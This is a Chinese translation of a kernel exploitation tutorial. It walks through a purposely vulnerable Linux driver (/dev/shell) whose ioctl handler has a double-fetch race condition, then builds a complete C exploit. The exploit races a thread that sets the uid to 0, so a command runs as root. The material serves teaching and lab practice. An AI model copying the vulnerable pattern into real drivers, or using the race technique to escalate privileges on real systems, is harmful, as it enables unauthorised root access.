内核漏洞利用入门 Part 1 - PureT

admin 2021年12月31日16:00:02评论68 views字数 7805阅读26分1秒阅读模式

本文是翻译文章,文章原作者 Jordy Zomer 文章来源 https://pwning.systems/

原文地址: https://pwning.systems/posts/an-introduction-to-kernel-exploitation-part1/

内核漏洞利用入门 Part 1

我会写这篇文章的主要原因是我经常听到内核漏洞利用是令人恐惧的或者难以学习的。因此,我打算开启一个介绍基本漏洞类型的系列教程还会配上相关的练习供你入门学习!

前置知识

  • 了解 Linux 命令行
  • 了解 C 语言的阅读和编写可能会有帮助
  • 能够在虚拟机或者其他系统的帮助下进行调试
  • 能够安装要求编译的内核模块
  • 对用户态和内核态的区别有一些基础的理解会有帮助
  • 对汇编有一个基本的了解对后续的学习会有帮助

在这部分里,我编写了一个简单的 Linux 字符设备/dev/shell。这个设备驱动获取两个参数,uidcmd,并且它会以给定的 uid 身份来执行 cmd 命令。为了理解这个设备驱动是怎么工作的,我将会解释一些事情!

当一个设备在 Linux 中被注册,它会获取一些参数,最重要的是 fops (文件操作)。在字符设备中的 fops 看起来大概像这样:

static struct file_operations query_fops = {
        .owner = THIS_MODULE,
        .open = shell_open,
        .release    = shell_close,
        .unlocked_ioctl = shell_ioctl
};

你可以看到有一些操作。open 是你打开设备时被调用的函数,release 是在你关闭设备时被调用的函数,unlocked_ioctl 是在你向设备发起一个 IOCTL (输入/输出控制) 请求时被调用的函数。在用户态,它们看起来像是:

Open:

fd = open("/dev/shell", O_RDWR);

Close:

close(fd);

IOCTL:

ioctl(fd, COMMAND, argument);

在本例中,我们将关注 IOCTL 请求。该请求获取一些参数,它们是:

FD 指向你希望打开的设备。指令编号,这个参数要么是一个整数型数据,要么是一个指向用户态数据结构的指针

在我们的例子中,函数签名看起来像是这样:

static long shell_ioctl(struct file *f, unsigned int cmd, unsigned long arg)

我们的 IOCTL 函数获取一个指向用户态数据结构的指针作为参数。这个参数是 struct user_data,它在我们的代码中被描述为:

typedef struct user_data {
    int uid;
    char    cmd[100];
} user_data;

这个结构体中包含一个用户编号(user-id)和一个要执行的命令。这个命令最大长度为 100 字节。我们的完整 IOCTL 处理程序看起来是这样的:

static long shell_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
    user_data udat;
    kuid_t kernel_uid = current_uid();

    memset(udat.cmd, 0, sizeof(udat.cmd));

    if (raw_copy_from_user(&udat.uid, (void *)arg, sizeof(udat.uid)))
        return -EFAULT;

    printk(KERN_INFO "CHECKING VALIDITY OF UID: %d", udat.uid);

    if (udat.uid == kernel_uid.val) {
        int rc;
        struct subprocess_info *sub_info;

        printk(KERN_INFO "UID: %d EQUALS %d", udat.uid, kernel_uid.val);

        usleep_range(1000000, 1000001);

        char **argv = kmalloc(sizeof(char *[4]), GFP_KERNEL);

        if (!argv)
            return -ENOMEM;

        memset(&udat, 0, sizeof(udat));

        if (raw_copy_from_user(&udat, (void *)arg, sizeof(udat)))
            return -EFAULT;

        real_uid = udat.uid;

        static char *envp[] = {
            "HOME=/",
            "TERM=linux",
            "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
            NULL
        };

        argv[0] = "/bin/sh";
        argv[1] = "-c";
        argv[2] = udat.cmd;
        argv[3] = NULL; 

        printk(KERN_INFO "CMD = %s\n", argv[2]);

        sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL, init_func, free_argv, NULL);

        if (sub_info == NULL) {
            kfree(argv);
            return -ENOMEM;
        }

        rc = call_usermodehelper_exec(sub_info, UMH_WAIT_PROC);

        printk(KERN_INFO "RC = %d\n", rc);
        return rc;
    }

    return 0;
}

让我来解释一下这里做了什么。首先初始化了一些数据:

// Define our udat destination
user_data udat;
// Get the current users UID
kuid_t kernel_uid = current_uid();

// Zero out the structs CMD memory just to be sure.
memset(udat.cmd, 0, sizeof(udat.cmd));

一旦完成初始化,我们将会从用户空间获取一些数据并且将我们获取到的 uid 和用户发送给我们的 uid 进行比较。

// Copy the uid part of the user_dat struct to kernel memory from userland.
if (raw_copy_from_user(&udat.uid, (void *)arg, sizeof(udat.uid)))
     return -EFAULT;

// Is the UID we supplied the same as the UID that calls this ioctl.
if (udat.uid == kernel_uid.val) {
    // Next part
}

接下来,如果 uid 匹配上了,程序将会为下一阶段的工作设置一些变量!

int rc;
struct subprocess_info *sub_info;

printk(KERN_INFO "UID: %d EQUALS %d", udat.uid, kernel_uid.val);

usleep_range(1000000, 1000001);
char **argv = kmalloc(sizeof(char *[4]), GFP_KERNEL);

if (!argv)
    return -ENOMEM;

你在这里可以看到它创建了一个缓冲区用于存储命令,返回值和一个结构体 subprocess_info。这在后面将会非常有用。接着,程序进入睡眠(为了让漏洞利用更简单一点,我们将重点放在漏洞成因上而不是疯狂地利用)。之后,我们将分配四个数组给将要执行的命令参数存储。如果内存无法分配成功,设备驱动将会退出。

一旦这个数据结构完成初始化,我们就将 udat 的内存置 0 并且从用户空间拷贝整个结构:

memset(&udat, 0, sizeof(udat));

if (raw_copy_from_user(&udat, (void *)arg, sizeof(udat)))
    return -EFAULT;

real_uid = udat.uid;

这就是漏洞所在!这里的 bug 是一个条件竞争漏洞,更花哨的叫法就是:Double Fetch!

理论上,Double Fetch 是一种条件竞争漏洞。在内核模式和用户模式之间,可能存在数据访问的竞争。 在 Linux 和 BSD 变种等现代操作系统中,虚拟内存地址通常分为内核空间和用户空间。

核心内核代码,驱动程序代码,以及其他具有更高权限的组件,都在内核空间中运行。用户空间执行用户代码,通常通过 system/IOCTL 调用与内核交互,以执行必要的任务。当用户空间发送数据给内核时,内核通常会使用一个类似 copy_from_user() 的拷贝函数来将数据拷贝至内核空间来做验证。

常见的将内存从用户态拷贝到内核态的函数有:

  • copy_from_user (Linux)
  • __copy_from_user (Linux)
  • get_user (Linux)
  • copyin (BSD)
  • copyinstr (BSD)
  • Many many more!

我们可以在一些从用户空间复制内存的函数第一次获取数据后修改数据,这就是这个缺陷的危害所在。我们也许会绕过这些数据可能存在的任何检查。在某些情况下有大小限制,但我们希望在验证 uid 之后调整它。

理论上,这将是 shell 模块的漏洞代码路径。

  • 用户空间的 uid 被模块获取
  • 模块判定指定的 uid 是否与调用用户的 uid 一致
  • 在我们自身的用户空间内存中,我们在一个新的线程中不断改变 uid
  • 模块运行命令会以我们刚更改的用户身份执行 (使用 call_usermodehelper()

有趣的事实:call_usermodehelper() 函数对于安全研究人员来说非常有用!它经常被用于 rootkits 或者利用来跳转到用户态并且以提升的权限来执行命令。

你的任务?为这个设备驱动编写 exp :

https://github.com/JordyZomer/kernel_challenges/blob/main/episode1/driver

( 我的 exp 放在 episode1/client )

剧透警告(讨论我的 exp):

我们已经找到了驱动!接下来让我们看看能不能想出一个利用的方法。我们将从构建设备开始,这样它就可以被我们的客户端访问到了。

episode1/driver/ 路径下以 root 身份执行以下命令:

$ make # This will compile the kernel module and give you the shell.ko file
...
$ insmod shell.ko # This will insert (load) our freshly compiled module
...
$ chmod 777 /dev/shell # We want the character device to be accesible by any user

既然驱动程序已经设置好了,让我们开始在客户端上工作吧!我们从一个基本的框架开始,包括我们需要的一切:

#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <pthread.h>

int main(void)
{
    return EXIT_SUCCESS;
}

目前并没有做什么事情,一旦其被编译完成会返回一个成功消息。

第一步是打开我们的设备,我们可以通过使用 open 系统调用。

open 系统调用接受两个参数:一个是 pathname 和一些 flags。我们使用我们自己的设备作为 pathname 并且将 flags 设置为 read + write

// O_RDWR stands for open it for both reading and writing.
int fd = open("/dev/shell", O_RDWR);

当然,一旦我们打开了我们的字符设备,我们也得关闭它!这就是 close 系统调用做的事情!

int main(void)
{

    int fd = open("/dev/shell", O_RDWR);
    //XXX: DO SOMETHING USEFUL HERE
    close(fd);
}

现在是时候让我们做一些有用的事情了;我们知道我们的设备有一个 IOCTL 处理器它会忽略 cmd 但是接受一个指向 struct user_data 的指针作为参数!

首先在我们的客户端中包含 user_data 结构体并且发送一个 IOCTL 请求!如下所示:

// This defines the struct that we'll give as an argument to our IOCTL request.

typedef struct user_data {
    int uid;
    char    cmd[100];
}  user_data;

int main(void)
{
    // This creates an instance of the user_data structure called 'udat'.
    user_data udat; 

    // We'll initialize the data of the structure here!

    // our uid is the uid of my current user.
    udat.uid = 1000;

    // Copy the string echo 'foo' > /tmp/hacker to our command as a test.
    strcpy(udat.cmd, "echo 'foo' > /tmp/hacker"); 


    // Open our driver
    int fd = open("/dev/shell", O_RDWR);

    // Make our actual IOCTL request with the data we just initialized. 
    ioctl(fd, 0, &udat);

    // Close our driver again
    close(fd);

    return EXIT_SUCCESS;
}

我们的简易客户端已经完成了!这将会以我们自己的用户身份执行命令。

要注意的是上面的例子没有执行任何的错误检查,如果你想这么做,这部分交给你自己。

现在来看看这个漏洞的实际利用,这将要求我们在与内核模块的 uid 验证的竞争中获胜。我们可以通过在其他线程中修改我们的 uid 来实现,这里我们需要用到 pthread 库。

pthread 里,一个线程可以使用 pthread_t 数据类型来声明。接着我们可以使用 pthread_create() 来开启一个新的进程。

来源于文档:pthread_create() 函数在调用的进程中开启一个新的线程。这个新的线程通过调用 start_routine() 来开启执行;arg 被作为一个单独的参数传递给 start_routine()。

让我们来更新我们的代码去开启一个新的线程!

typedef struct user_data {
    int uid;
    char    cmd[100];
}  user_data;


void change_uid_root(void *struct_ptr)
{
    // TODO: Add code to change the uid in our structure.
    printf("Hello from our thread!\n");
}


int main(void)
{
    // Declare an instance of a thread
    pthread_t thread;

    user_data udat;

    udat.uid = 1000;

    strcpy(udat.cmd, "echo 'foo' > /tmp/hacker");

    // Create a thread within our process that calls the change_uid_root() function
    // With our udat (user_data) structure as an argument.
    pthread_create(&thread, NULL, change_uid_root, &udat);

    int fd = open("/dev/shell", O_RDWR);

    ioctl(fd, 0, &udat);


    // Wait for our thread to stop
    pthread_join(thread, NULL);

    close(fd);

    return EXIT_SUCCESS;
}

这是一个很好的开始。很显然,代码还没有完成,不过到目前为止:

  • 我们定义和初始化了我们自己的 user_data 结构体并且建立了一个简单的客户端用于我们的 IOCTL 处理程序。
  • 使用 IOCTL 请求,我们可以真正的执行命令了。
  • 我们创建了一个线程,它真正的可以打印一些什么!

下一步是去修改 change_uid_root() 函数,这样我们就可以在保持修改我们的 uid 的同时仍然发送合法的 IOCTL 请求。通过这种方式,我们可以尝试在验证完成后绕过内核修改我们的 uid !

让我们开始这一步吧!

// Add a bit of state tracking
// So we can stop the thread when our for loop is done
int finish = 0;

typedef struct user_data {
    int uid;
    char    cmd[100];
}  user_data;


void change_uid_root(void *struct_ptr)
{
    user_data *udat = struct_ptr;

    // While we're not finished, keep trying to change the uid to 0 in this thread. 
    while (finish == 0)
        udat->uid = 0;
}


int main(void)
{
    pthread_t thread;

    user_data udat;

    udat.uid = 1000;

    strcpy(udat.cmd, "echo 'foo' > /tmp/hacker");

    pthread_create(&thread, NULL, change_uid_root, &udat);

    int fd = open("/dev/shell", O_RDWR);


    // Try running 100 legitimate IOCTL requests
    // while our thread is trying to change the uid to 0
    // we keep resetting our uid 
    // to our initial value otherwise it will stay 0 after the thread
    for (int i = 0; i < 100; i++) {
        ioctl(fd, 0, &udat);
        udat.uid = 1000;
    }

    // After our loop we should make our thread stop.
    finish = 1;

    pthread_join(thread, NULL);

    close(fd);

    return EXIT_SUCCESS;
}

这部分代码在我的机器上编译和执行后会赢得竞争并且以 root 用户身份创建一个 /tmp/hacker 文件!与所有的条件竞争漏洞利用一样,你可能需要去改变一些变量,比如尝试的次数和线程的数量使得其生效。

这就是第一部分的全部内容!我希望你会喜欢。欢迎评论或建议 jordy [a-t] pwning.systems

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日16:00:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内核漏洞利用入门 Part 1 - PureThttps://cn-sec.com/archives/713319.html

发表评论

匿名网友 填写信息